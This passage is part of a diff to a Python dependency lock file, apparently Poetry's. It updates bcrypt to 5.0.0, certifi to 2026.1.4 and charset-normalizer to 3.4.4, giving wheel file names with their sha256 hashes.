"bcrypt-4.3.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:2ef6630e0ec01376f59a006dc72918b1bf436c3b571b80fa1968d775fa02fe7d"}, - {file = "bcrypt-4.3.0-cp313-cp313t-win32.whl", hash = "sha256:7a4be4cbf241afee43f1c3969b9103a41b40bcb3a3f467ab19f891d9bc4642e4"}, - {file = "bcrypt-4.3.0-cp313-cp313t-win_amd64.whl", hash = "sha256:5c1949bf259a388863ced887c7861da1df681cb2388645766c89fdfd9004c669"}, - {file = "bcrypt-4.3.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:f81b0ed2639568bf14749112298f9e4e2b28853dab50a8b357e31798686a036d"}, - {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:864f8f19adbe13b7de11ba15d85d4a428c7e2f344bac110f667676a0ff84924b"}, - {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3e36506d001e93bffe59754397572f21bb5dc7c83f54454c990c74a468cd589e"}, - {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:842d08d75d9fe9fb94b18b071090220697f9f184d4547179b60734846461ed59"}, - {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:7c03296b85cb87db865d91da79bf63d5609284fc0cab9472fdd8367bbd830753"}, - {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:62f26585e8b219cdc909b6a0069efc5e4267e25d4a3770a364ac58024f62a761"}, - {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:beeefe437218a65322fbd0069eb437e7c98137e08f22c4660ac2dc795c31f8bb"}, - {file = "bcrypt-4.3.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:97eea7408db3a5bcce4a55d13245ab3fa566e23b4c67cd227062bb49e26c585d"}, - {file = "bcrypt-4.3.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:191354ebfe305e84f344c5964c7cd5f924a3bfc5d405c75ad07f232b6dffb49f"}, - {file = "bcrypt-4.3.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:41261d64150858eeb5ff43c753c4b216991e0ae16614a308a15d909503617732"}, - {file = "bcrypt-4.3.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:33752b1ba962ee793fa2b6321404bf20011fe45b9afd2a842139de3011898fef"}, - {file = "bcrypt-4.3.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:50e6e80a4bfd23a25f5c05b90167c19030cf9f87930f7cb2eacb99f45d1c3304"}, - {file = "bcrypt-4.3.0-cp38-abi3-win32.whl", hash = "sha256:67a561c4d9fb9465ec866177e7aebcad08fe23aaf6fbd692a6fab69088abfc51"}, - {file = "bcrypt-4.3.0-cp38-abi3-win_amd64.whl", hash = "sha256:584027857bc2843772114717a7490a37f68da563b3620f78a849bcb54dc11e62"}, - {file = "bcrypt-4.3.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0d3efb1157edebfd9128e4e46e2ac1a64e0c1fe46fb023158a407c7892b0f8c3"}, - {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:08bacc884fd302b611226c01014eca277d48f0a05187666bca23aac0dad6fe24"}, - {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:f6746e6fec103fcd509b96bacdfdaa2fbde9a553245dbada284435173a6f1aef"}, - {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:afe327968aaf13fc143a56a3360cb27d4ad0345e34da12c7290f1b00b8fe9a8b"}, - {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:d9af79d322e735b1fc33404b5765108ae0ff232d4b54666d46730f8ac1a43676"}, - {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f1e3ffa1365e8702dc48c8b360fef8d7afeca482809c5e45e653af82ccd088c1"}, - {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:3004df1b323d10021fda07a813fd33e0fd57bef0e9a480bb143877f6cba996fe"}, - {file = "bcrypt-4.3.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:531457e5c839d8caea9b589a1bcfe3756b0547d7814e9ce3d437f17da75c32b0"}, - {file = "bcrypt-4.3.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:17a854d9a7a476a89dcef6c8bd119ad23e0f82557afbd2c442777a16408e614f"}, - {file = "bcrypt-4.3.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:6fb1fd3ab08c0cbc6826a2e0447610c6f09e983a281b919ed721ad32236b8b23"}, - {file = "bcrypt-4.3.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:e965a9c1e9a393b8005031ff52583cedc15b7884fce7deb8b0346388837d6cfe"}, - {file = "bcrypt-4.3.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:79e70b8342a33b52b55d93b3a59223a844962bef479f6a0ea318ebbcadf71505"}, - {file = "bcrypt-4.3.0-cp39-abi3-win32.whl", hash = "sha256:b4d4e57f0a63fd0b358eb765063ff661328f69a04494427265950c71b992a39a"}, - {file = "bcrypt-4.3.0-cp39-abi3-win_amd64.whl", hash = "sha256:e53e074b120f2877a35cc6c736b8eb161377caae8925c17688bd46ba56daaa5b"}, - {file = "bcrypt-4.3.0-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c950d682f0952bafcceaf709761da0a32a942272fad381081b51096ffa46cea1"}, - {file = "bcrypt-4.3.0-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:107d53b5c67e0bbc3f03ebf5b030e0403d24dda980f8e244795335ba7b4a027d"}, - {file = "bcrypt-4.3.0-pp310-pypy310_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:b693dbb82b3c27a1604a3dff5bfc5418a7e6a781bb795288141e5f80cf3a3492"}, - {file = "bcrypt-4.3.0-pp310-pypy310_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:b6354d3760fcd31994a14c89659dee887f1351a06e5dac3c1142307172a79f90"}, - {file = "bcrypt-4.3.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:a839320bf27d474e52ef8cb16449bb2ce0ba03ca9f44daba6d93fa1d8828e48a"}, - {file = "bcrypt-4.3.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:bdc6a24e754a555d7316fa4774e64c6c3997d27ed2d1964d55920c7c227bc4ce"}, - {file = "bcrypt-4.3.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:55a935b8e9a1d2def0626c4269db3fcd26728cbff1e84f0341465c31c4ee56d8"}, - {file = "bcrypt-4.3.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:57967b7a28d855313a963aaea51bf6df89f833db4320da458e5b3c5ab6d4c938"}, - {file = "bcrypt-4.3.0.tar.gz", hash = "sha256:3a3fd2204178b6d2adcf09cb4f6426ffef54762577a7c9b54c159008cb288c18"}, + {file = "bcrypt-5.0.0-cp313-cp313t-macosx_10_12_universal2.whl", hash = "sha256:f3c08197f3039bec79cee59a606d62b96b16669cff3949f21e74796b6e3cd2be"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:200af71bc25f22006f4069060c88ed36f8aa4ff7f53e67ff04d2ab3f1e79a5b2"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:baade0a5657654c2984468efb7d6c110db87ea63ef5a4b54732e7e337253e44f"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:c58b56cdfb03202b3bcc9fd8daee8e8e9b6d7e3163aa97c631dfcfcc24d36c86"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:4bfd2a34de661f34d0bda43c3e4e79df586e4716ef401fe31ea39d69d581ef23"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_28_x86_64.whl", hash = "sha256:ed2e1365e31fc73f1825fa830f1c8f8917ca1b3ca6185773b349c20fd606cec2"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_aarch64.whl", hash = "sha256:83e787d7a84dbbfba6f250dd7a5efd689e935f03dd83b0f919d39349e1f23f83"}, + {file = "bcrypt-5.0.0-cp313-cp313t-manylinux_2_34_x86_64.whl", hash = "sha256:137c5156524328a24b9fac1cb5db0ba618bc97d11970b39184c1d87dc4bf1746"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_aarch64.whl", hash = "sha256:38cac74101777a6a7d3b3e3cfefa57089b5ada650dce2baf0cbdd9d65db22a9e"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_1_x86_64.whl", hash = "sha256:d8d65b564ec849643d9f7ea05c6d9f0cd7ca23bdd4ac0c2dbef1104ab504543d"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:741449132f64b3524e95cd30e5cd3343006ce146088f074f31ab26b94e6c75ba"}, + {file = "bcrypt-5.0.0-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:212139484ab3207b1f0c00633d3be92fef3c5f0af17cad155679d03ff2ee1e41"}, + {file = "bcrypt-5.0.0-cp313-cp313t-win32.whl", hash = "sha256:9d52ed507c2488eddd6a95bccee4e808d3234fa78dd370e24bac65a21212b861"}, + {file = "bcrypt-5.0.0-cp313-cp313t-win_amd64.whl", hash = "sha256:f6984a24db30548fd39a44360532898c33528b74aedf81c26cf29c51ee47057e"}, + {file = "bcrypt-5.0.0-cp313-cp313t-win_arm64.whl", hash = "sha256:9fffdb387abe6aa775af36ef16f55e318dcda4194ddbf82007a6f21da29de8f5"}, + {file = "bcrypt-5.0.0-cp314-cp314t-macosx_10_12_universal2.whl", hash = "sha256:4870a52610537037adb382444fefd3706d96d663ac44cbb2f37e3919dca3d7ef"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:48f753100931605686f74e27a7b49238122aa761a9aefe9373265b8b7aa43ea4"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f70aadb7a809305226daedf75d90379c397b094755a710d7014b8b117df1ebbf"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:744d3c6b164caa658adcb72cb8cc9ad9b4b75c7db507ab4bc2480474a51989da"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a28bc05039bdf3289d757f49d616ab3efe8cf40d8e8001ccdd621cd4f98f4fc9"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:7f277a4b3390ab4bebe597800a90da0edae882c6196d3038a73adf446c4f969f"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:79cfa161eda8d2ddf29acad370356b47f02387153b11d46042e93a0a95127493"}, + {file = "bcrypt-5.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:a5393eae5722bcef046a990b84dff02b954904c36a194f6cfc817d7dca6c6f0b"}, + {file = "bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:7f4c94dec1b5ab5d522750cb059bb9409ea8872d4494fd152b53cca99f1ddd8c"}, + {file = "bcrypt-5.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:0cae4cb350934dfd74c020525eeae0a5f79257e8a201c0c176f4b84fdbf2a4b4"}, + {file = "bcrypt-5.0.0-cp314-cp314t-win32.whl", hash = "sha256:b17366316c654e1ad0306a6858e189fc835eca39f7eb2cafd6aaca8ce0c40a2e"}, + {file = "bcrypt-5.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:92864f54fb48b4c718fc92a32825d0e42265a627f956bc0361fe869f1adc3e7d"}, + {file = "bcrypt-5.0.0-cp314-cp314t-win_arm64.whl", hash = "sha256:dd19cf5184a90c873009244586396a6a884d591a5323f0e8a5922560718d4993"}, + {file = "bcrypt-5.0.0-cp38-abi3-macosx_10_12_universal2.whl", hash = "sha256:fc746432b951e92b58317af8e0ca746efe93e66555f1b40888865ef5bf56446b"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:c2388ca94ffee269b6038d48747f4ce8df0ffbea43f31abfa18ac72f0218effb"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:560ddb6ec730386e7b3b26b8b4c88197aaed924430e7b74666a586ac997249ef"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:d79e5c65dcc9af213594d6f7f1fa2c98ad3fc10431e7aa53c176b441943efbdd"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:2b732e7d388fa22d48920baa267ba5d97cca38070b69c0e2d37087b381c681fd"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0c8e093ea2532601a6f686edbc2c6b2ec24131ff5c52f7610dd64fa4553b5464"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:5b1589f4839a0899c146e8892efe320c0fa096568abd9b95593efac50a87cb75"}, + {file = "bcrypt-5.0.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:89042e61b5e808b67daf24a434d89bab164d4de1746b37a8d173b6b14f3db9ff"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:e3cf5b2560c7b5a142286f69bde914494b6d8f901aaa71e453078388a50881c4"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:f632fd56fc4e61564f78b46a2269153122db34988e78b6be8b32d28507b7eaeb"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:801cad5ccb6b87d1b430f183269b94c24f248dddbbc5c1f78b6ed231743e001c"}, + {file = "bcrypt-5.0.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:3cf67a804fc66fc217e6914a5635000259fbbbb12e78a99488e4d5ba445a71eb"}, + {file = "bcrypt-5.0.0-cp38-abi3-win32.whl", hash = "sha256:3abeb543874b2c0524ff40c57a4e14e5d3a66ff33fb423529c88f180fd756538"}, + {file = "bcrypt-5.0.0-cp38-abi3-win_amd64.whl", hash = "sha256:35a77ec55b541e5e583eb3436ffbbf53b0ffa1fa16ca6782279daf95d146dcd9"}, + {file = "bcrypt-5.0.0-cp38-abi3-win_arm64.whl", hash = "sha256:cde08734f12c6a4e28dc6755cd11d3bdfea608d93d958fffbe95a7026ebe4980"}, + {file = "bcrypt-5.0.0-cp39-abi3-macosx_10_12_universal2.whl", hash = "sha256:0c418ca99fd47e9c59a301744d63328f17798b5947b0f791e9af3c1c499c2d0a"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:ddb4e1500f6efdd402218ffe34d040a1196c072e07929b9820f363a1fd1f4191"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7aeef54b60ceddb6f30ee3db090351ecf0d40ec6e2abf41430997407a46d2254"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:f0ce778135f60799d89c9693b9b398819d15f1921ba15fe719acb3178215a7db"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_28_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:a71f70ee269671460b37a449f5ff26982a6f2ba493b3eabdd687b4bf35f875ac"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:f8429e1c410b4073944f03bd778a9e066e7fad723564a52ff91841d278dfc822"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:edfcdcedd0d0f05850c52ba3127b1fce70b9f89e0fe5ff16517df7e81fa3cbb8"}, + {file = "bcrypt-5.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:611f0a17aa4a25a69362dcc299fda5c8a3d4f160e2abb3831041feb77393a14a"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_1_aarch64.whl", hash = "sha256:db99dca3b1fdc3db87d7c57eac0c82281242d1eabf19dcb8a6b10eb29a2e72d1"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_1_x86_64.whl", hash = "sha256:5feebf85a9cefda32966d8171f5db7e3ba964b77fdfe31919622256f80f9cf42"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:3ca8a166b1140436e058298a34d88032ab62f15aae1c598580333dc21d27ef10"}, + {file = "bcrypt-5.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:61afc381250c3182d9078551e3ac3a41da14154fbff647ddf52a769f588c4172"}, + {file = "bcrypt-5.0.0-cp39-abi3-win32.whl", hash = "sha256:64d7ce196203e468c457c37ec22390f1a61c85c6f0b8160fd752940ccfb3a683"}, + {file = "bcrypt-5.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:64ee8434b0da054d830fa8e89e1c8bf30061d539044a39524ff7dec90481e5c2"}, + {file = "bcrypt-5.0.0-cp39-abi3-win_arm64.whl", hash = "sha256:f2347d3534e76bf50bca5500989d6c1d05ed64b440408057a37673282c654927"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:7edda91d5ab52b15636d9c30da87d2cc84f426c72b9dba7a9b4fe142ba11f534"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:046ad6db88edb3c5ece4369af997938fb1c19d6a699b9c1b27b0db432faae4c4"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:dcd58e2b3a908b5ecc9b9df2f0085592506ac2d5110786018ee5e160f28e0911"}, + {file = "bcrypt-5.0.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:6b8f520b61e8781efee73cba14e3e8c9556ccfb375623f4f97429544734545b4"}, + {file = "bcrypt-5.0.0.tar.gz", hash = "sha256:f748f7c2d6fd375cc93d3fba7ef4a9e3a092421b8dbf34d8d4dc06be9492dfdd"}, ] [package.extras] @@ -146,14 +169,14 @@ files = [ [[package]] name = "certifi" -version = "2025.8.3" +version = "2026.1.4" description = "Python package for providing Mozilla's CA Bundle." optional = false python-versions = ">=3.7" groups = ["main", "dev"] files = [ - {file = "certifi-2025.8.3-py3-none-any.whl", hash = "sha256:f6c12493cfb1b06ba2ff328595af9350c65d6644968e5d3a2ffd78699af217a5"}, - {file = "certifi-2025.8.3.tar.gz", hash = "sha256:e564105f78ded564e3ae7c923924435e1daa7463faeab5bb932bc53ffae63407"}, + {file = "certifi-2026.1.4-py3-none-any.whl", hash = "sha256:9943707519e4add1115f44c2bc244f782c0249876bf51b6599fee1ffbedd685c"}, + {file = "certifi-2026.1.4.tar.gz", hash = "sha256:ac726dd470482006e014ad384921ed6438c457018f4b3d204aea4281258b2120"}, ] [[package]] @@ -256,103 +279,137 @@ pycparser = {version = "*", markers = "implementation_name != \"PyPy\""} [[package]] name = "charset-normalizer" -version = "3.4.3" +version = "3.4.4" description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet." optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "charset_normalizer-3.4.3-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:fb7f67a1bfa6e40b438170ebdc8158b78dc465a5a67b6dde178a46987b244a72"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:cc9370a2da1ac13f0153780040f465839e6cccb4a1e44810124b4e22483c93fe"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:07a0eae9e2787b586e129fdcbe1af6997f8d0e5abaa0bc98c0e20e124d67e601"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:74d77e25adda8581ffc1c720f1c81ca082921329452eba58b16233ab1842141c"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:d0e909868420b7049dafd3a31d45125b31143eec59235311fc4c57ea26a4acd2"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:c6f162aabe9a91a309510d74eeb6507fab5fff92337a15acbe77753d88d9dcf0"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:4ca4c094de7771a98d7fbd67d9e5dbf1eb73efa4f744a730437d8a3a5cf994f0"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:02425242e96bcf29a49711b0ca9f37e451da7c70562bc10e8ed992a5a7a25cc0"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:78deba4d8f9590fe4dae384aeff04082510a709957e968753ff3c48399f6f92a"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-win32.whl", hash = "sha256:d79c198e27580c8e958906f803e63cddb77653731be08851c7df0b1a14a8fc0f"}, - {file = "charset_normalizer-3.4.3-cp310-cp310-win_amd64.whl", hash = "sha256:c6e490913a46fa054e03699c70019ab869e990270597018cef1d8562132c2669"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:b256ee2e749283ef3ddcff51a675ff43798d92d746d1a6e4631bf8c707d22d0b"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:13faeacfe61784e2559e690fc53fa4c5ae97c6fcedb8eb6fb8d0a15b475d2c64"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:00237675befef519d9af72169d8604a067d92755e84fe76492fef5441db05b91"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:585f3b2a80fbd26b048a0be90c5aae8f06605d3c92615911c3a2b03a8a3b796f"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:0e78314bdc32fa80696f72fa16dc61168fda4d6a0c014e0380f9d02f0e5d8a07"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:96b2b3d1a83ad55310de8c7b4a2d04d9277d5591f40761274856635acc5fcb30"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:939578d9d8fd4299220161fdd76e86c6a251987476f5243e8864a7844476ba14"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:fd10de089bcdcd1be95a2f73dbe6254798ec1bda9f450d5828c96f93e2536b9c"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1e8ac75d72fa3775e0b7cb7e4629cec13b7514d928d15ef8ea06bca03ef01cae"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-win32.whl", hash = "sha256:6cf8fd4c04756b6b60146d98cd8a77d0cdae0e1ca20329da2ac85eed779b6849"}, - {file = "charset_normalizer-3.4.3-cp311-cp311-win_amd64.whl", hash = "sha256:31a9a6f775f9bcd865d88ee350f0ffb0e25936a7f930ca98995c05abf1faf21c"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:e28e334d3ff134e88989d90ba04b47d84382a828c061d0d1027b1b12a62b39b1"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:0cacf8f7297b0c4fcb74227692ca46b4a5852f8f4f24b3c766dd94a1075c4884"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:c6fd51128a41297f5409deab284fecbe5305ebd7e5a1f959bee1c054622b7018"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:3cfb2aad70f2c6debfbcb717f23b7eb55febc0bb23dcffc0f076009da10c6392"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1606f4a55c0fd363d754049cdf400175ee96c992b1f8018b993941f221221c5f"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:027b776c26d38b7f15b26a5da1044f376455fb3766df8fc38563b4efbc515154"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:42e5088973e56e31e4fa58eb6bd709e42fc03799c11c42929592889a2e54c491"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:cc34f233c9e71701040d772aa7490318673aa7164a0efe3172b2981218c26d93"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:320e8e66157cc4e247d9ddca8e21f427efc7a04bbd0ac8a9faf56583fa543f9f"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-win32.whl", hash = "sha256:fb6fecfd65564f208cbf0fba07f107fb661bcd1a7c389edbced3f7a493f70e37"}, - {file = "charset_normalizer-3.4.3-cp312-cp312-win_amd64.whl", hash = "sha256:86df271bf921c2ee3818f0522e9a5b8092ca2ad8b065ece5d7d9d0e9f4849bcc"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:14c2a87c65b351109f6abfc424cab3927b3bdece6f706e4d12faaf3d52ee5efe"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:41d1fc408ff5fdfb910200ec0e74abc40387bccb3252f3f27c0676731df2b2c8"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:1bb60174149316da1c35fa5233681f7c0f9f514509b8e399ab70fea5f17e45c9"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:30d006f98569de3459c2fc1f2acde170b7b2bd265dc1943e87e1a4efe1b67c31"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:416175faf02e4b0810f1f38bcb54682878a4af94059a1cd63b8747244420801f"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:6aab0f181c486f973bc7262a97f5aca3ee7e1437011ef0c2ec04b5a11d16c927"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:fdabf8315679312cfa71302f9bd509ded4f2f263fb5b765cf1433b39106c3cc9"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:bd28b817ea8c70215401f657edef3a8aa83c29d447fb0b622c35403780ba11d5"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:18343b2d246dc6761a249ba1fb13f9ee9a2bcd95decc767319506056ea4ad4dc"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-win32.whl", hash = "sha256:6fb70de56f1859a3f71261cbe41005f56a7842cc348d3aeb26237560bfa5e0ce"}, - {file = "charset_normalizer-3.4.3-cp313-cp313-win_amd64.whl", hash = "sha256:cf1ebb7d78e1ad8ec2a8c4732c7be2e736f6e5123a4146c5b89c9d1f585f8cef"}, - {file = 